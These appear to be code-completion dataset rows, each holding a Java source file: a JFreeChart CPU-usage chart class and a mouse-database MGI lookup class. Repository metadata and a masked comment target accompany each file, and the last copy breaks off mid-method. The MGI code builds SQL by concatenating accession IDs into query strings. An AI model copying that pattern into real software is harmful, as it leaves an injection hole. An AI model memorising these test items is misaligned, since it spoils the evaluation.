serieUser.addOrUpdate(sec, atual.getPctUser()/100);
serieNice.addOrUpdate(sec, atual.getPctNice()/100);
// serieIdle.addOrUpdate(sec, atual.getPctIdle());
serieSteal.addOrUpdate(sec, atual.getPctSteal()/100);
double utilizacao = atual.getPctIowait()+
atual.getPctSystem()+atual.getPctUser()+
atual.getPctNice()+atual.getPctSteal();
utilizacoes.add(utilizacao);
}
double utilizacao = 0;
int descartados = 0;
for (Double ut : utilizacoes) {
if (ut > 0) {
utilizacao += ut;
} else {
descartados++;
}
}
utilizacaoMedia = (utilizacao/(utilizacoes.size()-descartados))/100;
final TimeSeriesCollection dataset = new TimeSeriesCollection(serieIo);
dataset.addSeries(serieSystem);
dataset.addSeries(serieUser);
dataset.addSeries(serieNice);
// dataset.addSeries(serieIdle);
dataset.addSeries(serieSteal);
JFreeChart chart = ChartFactory.createXYAreaChart(titulo, "Data", config.getTitulo(),
dataset,
PlotOrientation.VERTICAL,
true, // legend
true, // tool tips
false // URLs
);
if(config.isExibeBorda()!=null) {
chart.setBorderVisible(config.isExibeBorda().booleanValue());
}
if(config.getCorFundo()!=null) {
chart.setBackgroundPaint(config.getCorFundoColor());
}
final XYPlot plot = chart.getXYPlot();
if(config.getCorPlot()!=null) {
plot.setBackgroundPaint(config.getCorPlotColor());
}
final ValueAxis domainAxis = new DateAxis("Data");
domainAxis.setLowerMargin(0.0);
domainAxis.setUpperMargin(0.0);
plot.setDomainAxis(domainAxis);
plot.setForegroundAlpha(0.5f);
//ValueAxis rangeAxis = plot.getRangeAxis();
NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis();
//NumberFormat nf = new DecimalFormat("# %");
NumberFormat nf = NumberFormat.getPercentInstance();
rangeAxis.setTickUnit(new NumberTickUnit(0.05, nf));
rangeAxis.setRangeWithMargins(0.05d, 0.95d);
rangeAxis.setAutoRangeIncludesZero(true);
// IntervalMarker target = new IntervalMarker(0.8, 1);
// target.setLabelFont(new Font("SansSerif", Font.ITALIC, 11));
// target.setLabelAnchor(RectangleAnchor.LEFT);
// target.setLabelTextAnchor(TextAnchor.CENTER_LEFT);
// plot.addRangeMarker(target, Layer.BACKGROUND);
final XYItemRenderer renderer = plot.getRenderer();
renderer.setToolTipGenerator(
new StandardXYToolTipGenerator(
StandardXYToolTipGenerator.DEFAULT_TOOL_TIP_FORMAT,
new SimpleDateFormat("dd-MMM-yy"), new DecimalFormat("#,##0.00")));
this.content = getAsByteArray(chart);
}
}
| murilotuvani/fwc | src/br/com/jcomputacao/fwc/chart/GraficoUtilizacaoCpuTempo.java | 1,660 | //ValueAxis rangeAxis = plot.getRangeAxis(); | line_comment | nl | package br.com.jcomputacao.fwc.chart;
import br.com.jcomputacao.fwc.model.MonCpu;
import br.com.jcomputacao.fwc.model.RelConfiguracao;
import java.text.DecimalFormat;
import java.text.NumberFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
import org.jfree.chart.ChartFactory;
import org.jfree.chart.JFreeChart;
import org.jfree.chart.axis.DateAxis;
import org.jfree.chart.axis.NumberAxis;
import org.jfree.chart.axis.NumberTickUnit;
import org.jfree.chart.axis.ValueAxis;
import org.jfree.chart.labels.StandardXYToolTipGenerator;
import org.jfree.chart.plot.PlotOrientation;
import org.jfree.chart.plot.XYPlot;
import org.jfree.chart.renderer.xy.XYItemRenderer;
import org.jfree.data.time.Second;
import org.jfree.data.time.TimeSeries;
import org.jfree.data.time.TimeSeriesCollection;
/**
* 01/06/2011 20:02:25
* @author Murilo
*/
public class GraficoUtilizacaoCpuTempo extends GraficoUtilizacaoCpu {
public GraficoUtilizacaoCpuTempo(List<MonCpu> lista, String nomeServidor) {
RelConfiguracao config = new RelConfiguracao();
config.setTipo(GraficoTipo.CPU);
config.setTitulo("Utilização de CPU ");
config.setCorFundo(0xFFFFFF);
config.setCorPlot(0xFFFFFF);
// RelConfiguracao globaclConfig = new RelConfiguracao();
titulo = config.getTitulo()+nomeServidor;
final TimeSeries serieIo = new TimeSeries("IO");
// final TimeSeries seriePcWait = new TimeSeries("PcWait");
final TimeSeries serieSystem = new TimeSeries("System");
final TimeSeries serieUser = new TimeSeries("User");
final TimeSeries serieNice = new TimeSeries("Nice");
// final TimeSeries serieIdle = new TimeSeries("Idle");
final TimeSeries serieSteal = new TimeSeries("Steal");
List<Double> utilizacoes = new ArrayList<Double>();
for (MonCpu atual : lista) {
Second sec = new Second(atual.getDatColeta());
serieIo.addOrUpdate(sec, atual.getPctIowait()/100);
serieSystem.addOrUpdate(sec, atual.getPctSystem()/100);
serieUser.addOrUpdate(sec, atual.getPctUser()/100);
serieNice.addOrUpdate(sec, atual.getPctNice()/100);
// serieIdle.addOrUpdate(sec, atual.getPctIdle());
serieSteal.addOrUpdate(sec, atual.getPctSteal()/100);
double utilizacao = atual.getPctIowait()+
atual.getPctSystem()+atual.getPctUser()+
atual.getPctNice()+atual.getPctSteal();
utilizacoes.add(utilizacao);
}
double utilizacao = 0;
int descartados = 0;
for (Double ut : utilizacoes) {
if (ut > 0) {
utilizacao += ut;
} else {
descartados++;
}
}
utilizacaoMedia = (utilizacao/(utilizacoes.size()-descartados))/100;
final TimeSeriesCollection dataset = new TimeSeriesCollection(serieIo);
dataset.addSeries(serieSystem);
dataset.addSeries(serieUser);
dataset.addSeries(serieNice);
// dataset.addSeries(serieIdle);
dataset.addSeries(serieSteal);
JFreeChart chart = ChartFactory.createXYAreaChart(titulo, "Data", config.getTitulo(),
dataset,
PlotOrientation.VERTICAL,
true, // legend
true, // tool tips
false // URLs
);
if(config.isExibeBorda()!=null) {
chart.setBorderVisible(config.isExibeBorda().booleanValue());
}
if(config.getCorFundo()!=null) {
chart.setBackgroundPaint(config.getCorFundoColor());
}
final XYPlot plot = chart.getXYPlot();
if(config.getCorPlot()!=null) {
plot.setBackgroundPaint(config.getCorPlotColor());
}
final ValueAxis domainAxis = new DateAxis("Data");
domainAxis.setLowerMargin(0.0);
domainAxis.setUpperMargin(0.0);
plot.setDomainAxis(domainAxis);
plot.setForegroundAlpha(0.5f);
//ValueAxis rangeAxis<SUF>
NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis();
//NumberFormat nf = new DecimalFormat("# %");
NumberFormat nf = NumberFormat.getPercentInstance();
rangeAxis.setTickUnit(new NumberTickUnit(0.05, nf));
rangeAxis.setRangeWithMargins(0.05d, 0.95d);
rangeAxis.setAutoRangeIncludesZero(true);
// IntervalMarker target = new IntervalMarker(0.8, 1);
// target.setLabelFont(new Font("SansSerif", Font.ITALIC, 11));
// target.setLabelAnchor(RectangleAnchor.LEFT);
// target.setLabelTextAnchor(TextAnchor.CENTER_LEFT);
// plot.addRangeMarker(target, Layer.BACKGROUND);
final XYItemRenderer renderer = plot.getRenderer();
renderer.setToolTipGenerator(
new StandardXYToolTipGenerator(
StandardXYToolTipGenerator.DEFAULT_TOOL_TIP_FORMAT,
new SimpleDateFormat("dd-MMM-yy"), new DecimalFormat("#,##0.00")));
this.content = getAsByteArray(chart);
}
}
|
85318_58 | package edu.ucsf.mousedatabase;
import java.sql.*;
import java.util.Collection;
import java.util.HashMap;
import java.util.Properties;
import java.lang.Thread;
import edu.ucsf.mousedatabase.beans.MouseSubmission;
import edu.ucsf.mousedatabase.dataimport.ImportStatusTracker;
import edu.ucsf.mousedatabase.dataimport.ImportStatusTracker.ImportStatus;
import edu.ucsf.mousedatabase.objects.MGIResult;
public class MGIConnect {
//todo get these from the mgi database, they shouldn't be static
public static int MGI_MARKER = 2;
public static int MGI_ALLELE = 11;
public static int MGI_REFERENCE = 1;
public static int MGI_MARKER_OTHER_GENOME_FEATURE = 9;
public static final String pmDBurl = "http://www.ncbi.nlm.nih.gov/pubmed/";
public static final String pmDBurlTail = "?dopt=Abstract";
public static final String mgiDBurl = "http://www.informatics.jax.org/accession/MGI:";
private static String databaseConnectionString;
private static String databaseDriverName;
private static boolean initialized = false;
public static boolean verbose = false;
public static boolean Initialize(String databaseDriverName, String databaseConnectionString) {
if (initialized) {
return false;
}
MGIConnect.databaseDriverName = databaseDriverName;
MGIConnect.databaseConnectionString = databaseConnectionString;
initialized = true;
return true;
}
// TODO make this method public and make callers figure out typeIDs
public static MGIResult doMGIQuery(String accessionID, int expectedTypeID, String wrongTypeString) {
return doMGIQuery(accessionID, expectedTypeID, wrongTypeString, true);
}
public static MGIResult doMGIQuery(String accessionID, int expectedTypeID, String wrongTypeString,
boolean offlineOK) {
MGIResult result = new MGIResult();
result.setAccessionID(accessionID);
result.setType(expectedTypeID);
String query = "";
Connection connection = null;
String accID = accessionID;
if (expectedTypeID != MGI_REFERENCE) {
accID = "MGI:" + accessionID;
}
try {
connection = connect();
query = "select _Accession_key, ACC_Accession._MGIType_key, primaryKeyName, _Object_key, tableName "
+ "from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key "
+ "where accID='" + accID + "' " + "and ACC_Accession._MGIType_key in(" + MGI_MARKER + "," + MGI_ALLELE + ","
+ MGI_REFERENCE + ")";
// the last line above is kind of a hack because sometimes you get multiple
// results for accession ids, such as evidence types
java.sql.Statement stmt = connection.createStatement();
if (verbose) System.out.println(query);
ResultSet rs = stmt.executeQuery(query);
if (rs.next()) {
// int accessionKey = rs.getInt("_Accession_key");
int mgiTypeKey = rs.getInt("_MGIType_key");
String primaryKeyName = rs.getString("primaryKeyName");
int objectKey = rs.getInt("_Object_key");
String tableName = rs.getString("tableName");
if (mgiTypeKey != expectedTypeID) // TODO lookup type id, don't hard code it
{
if (verbose) System.out.println("type key mismatch! " + mgiTypeKey + " != " + expectedTypeID);
// see if this is a possible other genome feature issue
if (mgiTypeKey == MGI_MARKER && expectedTypeID == MGI_ALLELE) {
query = "select * from " + tableName + " where " + primaryKeyName + "=" + objectKey;
if (verbose) System.out.println(query);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next() && rs.getInt("_Marker_Type_key") == MGI_MARKER_OTHER_GENOME_FEATURE) {
query = getAlleleQueryFromOGFID(accessionID);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next()) {
String allelePageID = rs.getString("accID");
return doMGIQuery(allelePageID, expectedTypeID, wrongTypeString);
}
}
}
result.setValid(false);
result.setErrorString(wrongTypeString);
} else {
query = "select * from " + tableName + " where " + primaryKeyName + "=" + objectKey;
if (verbose) System.out.println(query);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next()) {
if (mgiTypeKey == MGI_ALLELE) {
result.setSymbol(rs.getString("symbol"));
result.setName(trimOfficialName(rs.getString("name")));
result.setValid(true);
query = "select term from ALL_Allele aa inner join voc_term voc on aa._Allele_Type_key=voc._Term_key where _Allele_key="
+ objectKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next()) {
String alleleType = rs.getString("term");
if (verbose) System.out.println("allele type: " + alleleType);
if (alleleType.equalsIgnoreCase("QTL")) {
result.setValid(false);
result.setErrorString(
"This ID corresponds to a QTL variant. Please go back to step 2 and do a submission for the relevant inbred strain");
}
}
} else if (mgiTypeKey == MGI_MARKER) {
result.setSymbol(rs.getString("symbol"));
result.setName(rs.getString("name"));
result.setValid(true);
} else if (mgiTypeKey == MGI_REFERENCE) {
result.setAuthors(rs.getString("authors"));
result.setTitle(rs.getString("title"));
result.setValid(true);
}
}
}
} else {
if (expectedTypeID == MGI_REFERENCE) {
result.setErrorString("Not found. Please confirm that you have the correct Pubmed ID.");
result.setValid(false);
} else {
result.setErrorString("Not found in MGI database. Confirm that you have the correct Accession ID");
result.setValid(false);
}
}
} catch (NullPointerException e) {
result.setValid(offlineOK);
result.setErrorString("Connection to MGI timed out.");
result.setTitle(result.getErrorString());
result.setAuthors("");
result.setName(result.getErrorString());
result.setSymbol("");
result.setMgiConnectionTimedout(true);
e.printStackTrace(System.err);
} catch (Exception e) {
result.setValid(offlineOK);
result.setErrorString(
"MGI database connection unavailable. This is to be expected late at night on weekdays. Please manually verify that this is the correct ID");
result.setTitle(result.getErrorString());
result.setAuthors("");
result.setName(result.getErrorString());
result.setSymbol("");
result.setMgiOffline(true);
// System.err.println(query);
e.printStackTrace(System.err);
} finally {
if (connection != null) {
try {
connection.close();
} catch (SQLException ex) {
ex.printStackTrace();
}
}
}
// Close the connection to MGI.
return result;
}
public static HashMap<Integer, MouseSubmission> SubmissionFromMGI(Collection<Integer> accessionIDs,
int importTaskId) {
HashMap<Integer, MouseSubmission> newSubmissions = new HashMap<Integer, MouseSubmission>();
// TODO validate accession IDs first? so that we don't have to duplicate logic
// like
// checking that it isn't a QTL or other genome feature
HashMap<Integer, Properties> results = getPropertiesFromAlleleMgiID(accessionIDs, importTaskId);
for (int key : results.keySet()) {
Properties props = results.get(key);
if (props != null && !props.isEmpty()) {
MouseSubmission sub = new MouseSubmission();
sub.setMouseMGIID(Integer.toString(key));
sub.setIsPublished("No");
sub.setHolderFacility("unassigned");
sub.setHolderName("unassigned");
sub.setMouseType("unknown");
if (verbose) System.out.println("*****************************");
if (verbose) System.out.println("Allele MGI ID: " + key);
String geneId = null;
StringBuilder propertyList = new StringBuilder();
for (String prop : props.stringPropertyNames())
{
String value = props.getProperty(prop);
if (verbose) System.out.println(prop + ": " + value);
if (prop.equals("mouseName"))
{
sub.setOfficialMouseName(trimOfficialName(value));
}
else if (prop.equals("mouseType"))
{
propertyList.append("*" + prop + ":* " + value + "\r\n");
//targeted captures knockout or knockin mice, can be transchromosomal
if(value.startsWith("Targeted"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
if(value.contains("knock-out"))
{
}
else if (value.contains("knock-in"))
{
}
}
//Added Radiation induced muations -EW
else if (value.startsWith("Radiation"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Spontaneous"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Transgenic"))
{
sub.setMouseType("Transgene");
sub.setTransgenicType("undetermined");
sub.setTGExpressedSequence("undetermined");
//extract from 'Transgenic (Reporter)'
//or 'Transgenic (random, expressed)'
//or 'Transgenic (Cre/Flp)'
}
else if (value.startsWith("Gene trapped"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Not Applicable"))
{
sub.setMouseType("Inbred Strain");
//TODO ????
// Allele MGI ID: 3579311
// mouseType : Not Applicable
// pubMedTitle : THE AKR THYMIC ANTIGEN AND ITS DISTRIBUTION IN LEUKEMIAS AND NERVOUS TISSUES.
// gene name : thymus cell antigen 1, theta
// gene symbol : Thy1
// mouseName : a variant
// pubMedID : 14207060
// pubMedAuthor : REIF AE
// officialSymbol : Thy1<a>
// gene mgi ID : 98747
}
else if (value.startsWith("QTL"))
{
sub.setMouseType("Inbred Strain");
}
//Enodnuclease-mediated mice will switch to this type -EW
else if (value.startsWith("Endonuclease-mediated"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
//Transposon induced added to Mutant Allele category -EW
else if (value.startsWith("Transposon induced"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else if (value.startsWith("Chemically"))
{
sub.setMouseType("Mutant Allele");
sub.setMAModificationType("undetermined");
}
else
{
sub.setMouseType("undetermined");
}
}
else if (prop.equals("mutationType"))
{
propertyList.append("*" + prop + ":* " + value + "\r\n");
//?????
if(value.equals("Insertion"))
{
//sub.setTransgenicType("random insertion");
}
else if (value.equals("Single point mutation"))
{
}
else if (value.equals("Other"))
{
}
else if (value.equals("Intragenic deletion"))
{
}
}
else if(prop.equals("pubMedID"))
{
sub.setIsPublished("Yes");
sub.setPMID(value);
}
else if(prop.equals("geneMgiID"))
{
geneId = value;
}
else if (prop.equals("officialSymbol"))
{
sub.setOfficialSymbol(value);
}
else if (prop.equals("description"))
{
sub.setComment(value);
}
}
if (sub.getMouseType() != null && sub.getMouseType().equals("Mutant Allele"))
{
sub.setMAMgiGeneID(geneId);
}
sub.setComment(sub.getComment() + "\r\n\r\nRaw properties returned from MGI:\r\n" + propertyList.toString());
newSubmissions.put(key, sub);
}
else
{
newSubmissions.put(key,null);
}
}
return newSubmissions;
}
private static String trimOfficialName(String rawName)
{
return rawName;
// if (rawName == null || rawName.isEmpty())
// {
// return rawName;
// }
//
// if (rawName.toLowerCase().indexOf("targeted mutation ") < 0 && rawName.toLowerCase().indexOf("transgene insertion ") < 0)
// {
// return rawName;
// }
//
// int index = rawName.indexOf(',') + 1;
// if (index >= rawName.length() - 1)
// {
// return rawName;
// }
// return rawName.substring(index).trim();
}
public static HashMap<Integer,Properties> getPropertiesFromAlleleMgiID(Collection<Integer> accessionIDs, int importTaskId)
{
HashMap<Integer,Properties> results = new HashMap<Integer,Properties>();
Connection connection = null;
Statement stmt = null;
ResultSet rs = null;
ImportStatusTracker.UpdateHeader(importTaskId, "Downloading Allele data from MGI (Task 2 of 3)");
ImportStatusTracker.SetProgress(importTaskId, 0);
double mgiIdNumber = 1;
double mgiCount = accessionIDs.size();
try
{
connection = connect();
stmt = connection.createStatement();
for(int accessionID : accessionIDs)
{
ImportStatusTracker.SetProgress(importTaskId, mgiIdNumber / mgiCount);
mgiIdNumber++;
if (accessionID < 0)
{
Log.Info("Ignored invalid accession ID: " + accessionID);
continue;
}
if (verbose) System.out.println("Fetching details for MGI:" + accessionID);
Properties props = new Properties();
results.put(accessionID, props);
//TODO get the comment??
String query = "select _Object_key " +
"from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key " +
"where accid='MGI:" + accessionID + "' " +
"and ACC_Accession._MGIType_key=11";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if(!rs.next())
{
//accession ID not found, return early
Log.Info("No matching alleles found for accession ID: " + accessionID);
continue;
}
int alleleKey = rs.getInt("_Object_key");
query = "select _Marker_key,name,symbol from ALL_Allele where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if(!rs.next())
{
//no data in allele table, very strange
if (verbose) System.out.println("No data found for allele key: " + alleleKey);
continue;
}
props.setProperty("mouseName",rs.getString("name"));
props.setProperty("officialSymbol",rs.getString("symbol"));
ImportStatusTracker.AppendMessage(importTaskId, "MGI:" + accessionID + " -> " + HTMLUtilities.getCommentForDisplay(props.getProperty("officialSymbol")));
int markerKey = rs.getInt("_Marker_key");
query = "select term from ALL_Allele_Mutation mut inner join voc_term voc on mut._mutation_key=voc._term_key where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
String mutation = rs.getString("term");
//convert MGI terminology to ours
props.setProperty("mutationType",mutation);
}
query = "select term from ALL_Allele aa inner join voc_term voc on aa._Allele_Type_key=voc._Term_key where _Allele_key=" + alleleKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
String alleleType = rs.getString("term");
//convert MGI terminology to ours
props.setProperty("mouseType",alleleType);
}
if (markerKey > 0)
{
query = "select symbol,name from MRK_Marker where _Marker_key=" + markerKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
//todo set gene properties
String symbol = rs.getString("symbol");
String name = rs.getString("name");
props.setProperty("geneSymbol",symbol);
props.setProperty("geneName",name);
query = "select numericPart from ACC_Accession WHERE _MGIType_key=2 " +
"and _Object_key=" + markerKey + " and prefixPart='MGI:' and preferred=1";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
int geneMgiId = rs.getInt("numericPart");
props.setProperty("geneMgiID",Integer.toString(geneMgiId));
//todo set gene MGI accession ID
}
}
}
else
{
Log.Info("No markers for allele MGI: " + accessionID);
}
query = "select _Refs_key from mgi_reference_assoc ref inner join mgi_refassoctype ty using(_refassoctype_key) where _Object_key=" + alleleKey + " and assoctype='Original'";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
int refKey = rs.getInt("_Refs_key");
query = "select _primary,title from BIB_refs where _Refs_key=" + refKey;
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("pubMedAuthor", rs.getString("_primary"));
props.setProperty("pubMedTitle", rs.getString("title"));
}
query = "select accID from ACC_Accession where _MGIType_key=1 and _Object_key=" + refKey + " and prefixPart is NULL";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("pubMedID", rs.getString("accID"));
}
else
{
query = "select accID from ACC_Accession where _MGIType_key=1 and _Object_key=" + refKey + "and prefixPart='MGI:'";
if (verbose) System.out.println(query);
rs = stmt.executeQuery(query);
if (rs.next())
{
props.setProperty("referenceMgiAccessionId", rs.getString("accID"));
}
}
}
StringBuilder sb = new StringBuilder();
//Fixed import comment from MGI_notechunk table does not exist
query = "select note " +
"from MGI_Note n, MGI_NoteType t "+
"where n._NoteType_key = t._NoteType_key " +
"and n._MGIType_key = 11 " +
"and _object_key="+ alleleKey + " " +
"and noteType='Molecular'";
if (verbose) System.out.println(query);
rs= stmt.executeQuery(query);
while (rs.next())
{
sb.append(rs.getString("note"));
}
if (sb.length() > 0)
{
props.setProperty("description", sb.toString());
}
else {
Log.Error("No description found for allele w/ accID: " + accessionID + ". Ran this query:\n" + query);
}
}
}
catch (Exception e)
{
Log.Error("Error fetching Allele details from MGI",e);
ImportStatusTracker.UpdateStatus(importTaskId, ImportStatus.ERROR);
ImportStatusTracker.AppendMessage(importTaskId,"Error fetching allele details: " + e.getMessage());
}
finally
{
if(connection != null)
{
try
{
connection.close();
}
catch(SQLException ex)
{
ex.printStackTrace();
}
}
ImportStatusTracker.SetProgress(importTaskId, 1);
}
if(verbose){
for(int mgiId : results.keySet()){
Properties props = results.get(mgiId);
System.out.println("Properties for MGI:" + mgiId);
for (String prop : props.stringPropertyNames())
{
String value = props.getProperty(prop);
System.out.println(prop + ": " + value);
}
}
}
return results;
}
// private static void getOfficialMouseNames(String[] accessionIds)
// {
// Connection connection = null;
// Statement stmt = null;
// ResultSet rs = null;
//
// try
// {
// connection = connect();
// stmt = connection.createStatement();
// for(String accessionID : accessionIds)
// {
// if (verbose) System.out.println("Fetching details for MGI:" + accessionID);
// //Properties props = new Properties();
// //TODO get the comment??
// String query = "select ACC_Accession.numericPart, symbol,ALL_ALLELE.name " +
// "from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key " +
// "left join ALL_ALLELE on ACC_Accession._Object_key = ALL_Allele._Allele_key " +
// "where accID='" + accessionID + "' " +
// "and ACC_Accession._MGIType_key = 11 ";
// if (verbose) System.out.println(query);
// rs = stmt.executeQuery(query);
// if(!rs.next())
// {
// //accession ID not found, return early
// Log.Info("No matching alleles found for accession ID: " + accessionID);
// continue;
// }
//
// int id = rs.getInt(1);
// //String symbol = rs.getString(2);
// String name = rs.getString(3);
//
// if (verbose) System.out.println(name + "\t" + id);
//
// }
//
// }
// catch (Exception e)
// {
// e.printStackTrace();
// }
// finally
// {
// if(connection != null)
// {
// try
// {
// connection.close();
// }
// catch(SQLException ex)
// {
// ex.printStackTrace();
// }
// }
// }
//
// }
private static String getAlleleQueryFromOGFID(String OGFID)
{
return "select a2.accId from acc_accession a1, all_allele e, acc_accession a2 where a1.accid='" + OGFID + "' and a1._mgitype_key=2 and a2._mgitype_key=11 and a2._object_key=e._allele_key and e._marker_key=a1._object_key";
}
public static MGIResult DoReferenceQuery(String refAccessionID)
{
return doMGIQuery(refAccessionID, MGI_REFERENCE, "Pubmed ID not found. Please confirm that you entered it correctly.");
}
public static MGIResult DoMGIModifiedGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene that is modified in the mouse being submitted and re-enter the ID.");
}
public static MGIResult DoMGIInsertGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "Valid Accession ID, but not a gene detail page.");
}
public static MGIResult DoMGIExpressedGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene that is expressed and re-enter the ID.");
}
public static MGIResult DoMGIKnockedinGeneQuery(String geneAccessionID)
{
return doMGIQuery(geneAccessionID, MGI_MARKER, "This is a valid Accession ID, but it does not correspond to a gene detail page. Click on the link to see what it does correspond to. Find the gene detail page for the gene into which the expressed sequence was inserted and re-enter the ID.");
}
public static MGIResult DoMGIAlleleQuery(String alleleAccessionID)
{
return doMGIQuery(alleleAccessionID, MGI_ALLELE, "This is a valid Accession ID, but it does not correspond to an allele detail page. Click on the link to see what it does correspond to. Find the allele detail page for the mouse being submitted and re-enter the ID.");
}
public static MGIResult DoMGITransgeneQuery(String transgeneAccessionID)
{
return doMGIQuery(transgeneAccessionID, MGI_ALLELE, "This is a valid Accession ID, but it does not correspond to a transgene detail page. Click on the link to see what it does correspond to. Find the transgene detail page for the mouse being submitted and re-enter the ID. ");
}
private static Connection connect() throws Exception
{
if (!initialized)
{
throw new Exception("Tried to connect to MGI before initializing connection parameters!");
}
ConnectionThread t = new ConnectionThread();
t.start();
long timeoutMillis = 10000;
t.join(timeoutMillis);
if (t.isAlive())
{
//timeout reached, kill thread and throw timeout exception
t.interrupt();
Log.Info("Timeout reached, interrupting mgi connection thread");
}
return t.getConnection();
}
private static class ConnectionThread extends Thread
{
private Connection connection = null;
public ConnectionThread()
{
super();
}
@Override
public void run() {
try {
// Load the JDBC driver: MySQL MM JDBC driver
Class.forName(databaseDriverName);
// Create a new connection to MGI
setConnection(DriverManager.getConnection(databaseConnectionString));
if (verbose) System.out.println("Successfully connected to MGI, returning connection");
} catch (ClassNotFoundException e) {
Log.Error("Failed to connect to MGI:", e);
} catch (SQLException e) {
Log.Error("Failed to connect to MGI:", e);
}
}
void setConnection(Connection connection) {
this.connection = connection;
}
Connection getConnection() {
return connection;
}
}
}
| musIndex/mouseinventory | src/main/java/edu/ucsf/mousedatabase/MGIConnect.java | 8,173 | // int id = rs.getInt(1); | line_comment | nl | package edu.ucsf.mousedatabase;
import java.sql.*;
import java.util.Collection;
import java.util.HashMap;
import java.util.Properties;
import java.lang.Thread;
import edu.ucsf.mousedatabase.beans.MouseSubmission;
import edu.ucsf.mousedatabase.dataimport.ImportStatusTracker;
import edu.ucsf.mousedatabase.dataimport.ImportStatusTracker.ImportStatus;
import edu.ucsf.mousedatabase.objects.MGIResult;
public class MGIConnect {
//todo get these from the mgi database, they shouldn't be static
public static int MGI_MARKER = 2;
public static int MGI_ALLELE = 11;
public static int MGI_REFERENCE = 1;
public static int MGI_MARKER_OTHER_GENOME_FEATURE = 9;
public static final String pmDBurl = "http://www.ncbi.nlm.nih.gov/pubmed/";
public static final String pmDBurlTail = "?dopt=Abstract";
public static final String mgiDBurl = "http://www.informatics.jax.org/accession/MGI:";
private static String databaseConnectionString;
private static String databaseDriverName;
private static boolean initialized = false;
public static boolean verbose = false;
public static boolean Initialize(String databaseDriverName, String databaseConnectionString) {
if (initialized) {
return false;
}
MGIConnect.databaseDriverName = databaseDriverName;
MGIConnect.databaseConnectionString = databaseConnectionString;
initialized = true;
return true;
}
// TODO make this method public and make callers figure out typeIDs
public static MGIResult doMGIQuery(String accessionID, int expectedTypeID, String wrongTypeString) {
return doMGIQuery(accessionID, expectedTypeID, wrongTypeString, true);
}
public static MGIResult doMGIQuery(String accessionID, int expectedTypeID, String wrongTypeString,
boolean offlineOK) {
MGIResult result = new MGIResult();
result.setAccessionID(accessionID);
result.setType(expectedTypeID);
String query = "";
Connection connection = null;
String accID = accessionID;
if (expectedTypeID != MGI_REFERENCE) {
accID = "MGI:" + accessionID;
}
try {
connection = connect();
query = "select _Accession_key, ACC_Accession._MGIType_key, primaryKeyName, _Object_key, tableName "
+ "from ACC_Accession left join ACC_MGIType on ACC_Accession._MGIType_key=ACC_MGIType._MGIType_key "
+ "where accID='" + accID + "' " + "and ACC_Accession._MGIType_key in(" + MGI_MARKER + "," + MGI_ALLELE + ","
+ MGI_REFERENCE + ")";
// the last line above is kind of a hack because sometimes you get multiple
// results for accession ids, such as evidence types
java.sql.Statement stmt = connection.createStatement();
if (verbose) System.out.println(query);
ResultSet rs = stmt.executeQuery(query);
if (rs.next()) {
// int accessionKey = rs.getInt("_Accession_key");
int mgiTypeKey = rs.getInt("_MGIType_key");
String primaryKeyName = rs.getString("primaryKeyName");
int objectKey = rs.getInt("_Object_key");
String tableName = rs.getString("tableName");
if (mgiTypeKey != expectedTypeID) // TODO lookup type id, don't hard code it
{
if (verbose) System.out.println("type key mismatch! " + mgiTypeKey + " != " + expectedTypeID);
// see if this is a possible other genome feature issue
if (mgiTypeKey == MGI_MARKER && expectedTypeID == MGI_ALLELE) {
query = "select * from " + tableName + " where " + primaryKeyName + "=" + objectKey;
if (verbose) System.out.println(query);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next() && rs.getInt("_Marker_Type_key") == MGI_MARKER_OTHER_GENOME_FEATURE) {
query = getAlleleQueryFromOGFID(accessionID);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next()) {
String allelePageID = rs.getString("accID");
return doMGIQuery(allelePageID, expectedTypeID, wrongTypeString);
}
}
}
result.setValid(false);
result.setErrorString(wrongTypeString);
} else {
query = "select * from " + tableName + " where " + primaryKeyName + "=" + objectKey;
if (verbose) System.out.println(query);
stmt = connection.createStatement();
rs = stmt.executeQuery(query);
if (rs.next()) {
if (mgiTypeKey == MGI_ALLELE) {
result.setSymbol(rs.getString("symbol"));
